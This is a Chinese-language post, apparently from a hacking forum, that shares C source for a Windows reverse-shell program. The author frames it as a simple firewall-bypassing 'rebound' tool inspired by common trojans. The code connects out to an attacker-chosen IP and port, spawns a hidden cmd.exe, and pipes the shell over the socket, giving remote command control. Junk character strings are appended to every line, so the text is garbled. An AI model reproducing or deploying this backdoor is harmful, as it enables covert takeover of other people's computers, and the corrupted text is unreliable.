这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pz!Zs."f)
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/* ============================== 0#7>o^2
Rebound port in Windows NT 0cv{
By wind,2006/7 g+8OekzB5
===============================*/ /QK6Rac-
#include uanhr)Ys
#include Q,,e+exbb5
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#pragma comment(lib,"wsock32.lib") x77*c._3v
WA<v9#m
void OutputShell(); 5N#aXG^9
SOCKET sClient; AVsDt2A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; euK5pA>L
mxvp3t \
void main(int argc,char **argv) b<tNk]7
{ S*,17+6dV
WSADATA stWsaData; sf:,qD=z
int nRet; 3H'sHuK"X
SOCKADDR_IN stSaiClient,stSaiServer; KaLzg5is
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if(argc != 3) F#3Q_G^/
{ j"8ZM{aO
printf("Useage:\n\rRebound DestIP DestPort\n"); SpIv#?
return; <v"R.<
} z{%<<pZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); W-$Z(Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DHg:8%3x
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stSaiClient.sin_family = AF_INET; *[Imn\hu
stSaiClient.sin_port = htons(0); `Y0%cXi3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R)?*N@.s
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [CTnXb
{ /m!BY}4W
printf("Bind Socket Failed!\n"); B5,N7z34F
return; <X#C)-.
} ^7`BP%6
OW&!at
stSaiServer.sin_family = AF_INET; ~V:\ _{mE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dUD[e,?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WSPI|#Xr%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _kC-dEGf!y
{ b.OsiT;_j
printf("Connect Error!"); h<h%*av|
return; a)!o @
} p
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OutputShell(); #]-SJWf3
} i:dR\|B
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void OutputShell() Q*GN`07@?d
{ nF}vw |r>x
char szBuff[1024]; NYhB'C2
SECURITY_ATTRIBUTES stSecurityAttributes; Q@= Q0
OSVERSIONINFO stOsversionInfo; zWnX*2>b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xPdG*OcX!
STARTUPINFO stStartupInfo; \wmN
char *szShell; 0RzEY!9g+
PROCESS_INFORMATION stProcessInformation; JT~4mT
unsigned long lBytesRead; I !-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {% 6}'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U%-A?5
stSecurityAttributes.lpSecurityDescriptor = 0; #j;^\rSv-
stSecurityAttributes.bInheritHandle = TRUE; IM*y|UHt
g/4[N{Xf
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \-E^lIVF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ??5Q)Erm1
pG_;$8Hc
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k``_EiV4t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pt?bWyKG
stStartupInfo.wShowWindow = SW_HIDE; R-
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stStartupInfo.hStdInput = hReadPipe; HH`'*$]7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -+-?w|}qV
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GetVersionEx(&stOsversionInfo); 2'l'8
pR<`H'
switch(stOsversionInfo.dwPlatformId) SV4E0c>
{ C-xr"]#]
case 1: @b\$ yB@z
szShell = "command.com"; W@>% {eE
break; &{5,:%PXw
default: UJUEYG
szShell = "cmd.exe"; KV91)U
break; \eTwXe]Pv
} G+9,,`2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _!#@@O0p/h
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send(sClient,szMsg,77,0); /*~EO{o
while(1) AhN4mc@
{ _1X!EH"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BX/8O<s0
if(lBytesRead) 7jrt7[{
{ +D6YR$_<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ';k5?^T
send(sClient,szBuff,lBytesRead,0); W<{h,j8
} |o"?gB}Dh
else 2F;y;l%
{ QP==?g3
lBytesRead=recv(sClient,szBuff,1024,0); JBj]najN
if(lBytesRead<=0) break; xh-o}8*n"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z9f-.72"X
} 1}+3dB_s
} (le9q5Qr.
Bg=wKwc8
return; ejKucEgD
}